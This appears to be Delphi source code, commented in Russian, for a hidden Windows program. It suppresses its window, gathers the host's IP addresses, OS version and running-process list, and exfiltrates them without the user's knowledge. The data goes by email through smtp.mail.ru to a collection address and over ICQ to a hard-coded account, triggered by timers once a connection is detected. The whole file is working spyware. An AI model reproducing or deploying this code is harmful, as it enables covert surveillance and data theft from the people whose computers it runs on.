Application.ShowMainForm := false;

function TForm1.IPstr(HostName:String) : String;
LABEL Abort;
TYPE
  TAPInAddr = ARRAY[0..100] OF PInAddr;
  PAPInAddr =^TAPInAddr;
VAR
  WSAData    : TWSAData;
  HostEntPtr : PHostEnt;
  pptr       : PAPInAddr;
  I          : Integer;
BEGIN
  Result:='';
  WSAStartUp($101,WSAData);
  TRY
    HostEntPtr:=GetHostByName(PChar(HostName));
    IF HostEntPtr=NIL THEN
      GOTO Abort;
    pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
    I:=0;
    WHILE pptr^[I]<>NIL DO
    BEGIN
      RESULT:=RESULT+#13#10+inet_ntoa(pptr^[I]^);
      Inc(I);
    END;
    Abort:
  EXCEPT
  END;
  WSACleanUp();
END;

function TForm1.GetOS: string;
const
  cOsUnknown  = 'unknown';
  cOsWin95    = 'Win95';
  cOsWin98    = 'Win98';
  cOsWin98SE  = 'W98SE';
  cOsWinME    = 'WinME';
  cOsWinNT    = 'WinNT';
  cOsWin2000  = 'Win2000';
  cOsXP       = 'WinXP';
var
  osVerInfo: TOSVersionInfo;
  majorVer, minorVer: Integer;
begin
  Result := cOsUnknown;
  { set operating system type flag }
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    majorVer := osVerInfo.dwMajorVersion;
    minorVer := osVerInfo.dwMinorVersion;
    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
        begin
          if majorVer <= 4 then
            Result := cOsWinNT
          else if (majorVer = 5) and (minorVer = 0) then
            Result := cOsWin2000
          else if (majorVer = 5) and (minorVer = 1) then
            Result := cOsXP
          else
            Result := cOsUnknown;
        end; 
      VER_PLATFORM_WIN32_WINDOWS:  { Windows 9x/ME }
        begin 
          if (majorVer = 4) and (minorVer = 0) then
            Result := cOsWin95
          else if (majorVer = 4) and (minorVer = 10) then
          begin
            if osVerInfo.szCSDVersion[1] = 'A' then
              Result := cOsWin98SE
            else
              Result := cOsWin98;
          end
          else if (majorVer = 4) and (minorVer = 90) then
            Result := cOsWinME
          else
            Result := cOsUnknown;
        end;
      else
        Result := cOsUnknown;
    end;
  end
  else
    Result := cOsUnknown;
end;

function TForm1.ProcessInfo: string;
var  hsnap: Thandle;
     procentry: TProcessEntry32;
begin
result:='';
hsnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procentry.dwSize:=sizeof(procentry);
Process32First(hsnap, procentry);
 repeat
 result:=result+procentry.szexefile+#13#10;
 until
 Process32Next(hsnap, procentry)<>true;
CloseHandle(hsnap);
end;

procedure TForm1.SendMail;
begin
  IdSMTP1.Host := 'smtp.mail.ru';
  IdSMTP1.Port := 25;
  IdSMTP1.Username := 'pypkin'; // логин отправителя
  IdSMTP1.Password := '123456'; // пароль отправителя
  IdSMTP1.AuthenticationType:=atLogin;
  with IdMessage1 do
     begin
      Body.Add('IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS + #13#10 + ProcessInfo);
      From.Text := 'pypkin@mail.ru'; // полный е-майл отправителя
      Recipients.EMailAddresses := 'resyltat@mail.ru'; //полный е-майл получателя
      Subject :='тема письма';
      end;
  IdSMTP1.Connect;
  try
  IdSMTP1.Send(IdMessage1);
  finally
  IdSMTP1.Disconnect;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if InternetGetConnectedState(NIL,0)=true then
  try
   Timer1.Enabled:=false;
   ICQClient1.UIN := 123456789;
   ICQClient1.Password := 'пароль отправителя';
   ICQClient1.Login(0, false);
   Timer2.Enabled:=true;
    try
    SendMail;
    sleep(1000);
    except
    end;
 except
 Timer1.Enabled:=true;
 end;
end;

logged: boolean = false;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
logged:=true;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
if logged = true then
 try
 Timer2.Enabled:=false;
 ICQClient1.SendMessage(987654321, 'IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS);
 sleep(500);
 except
 end;
end;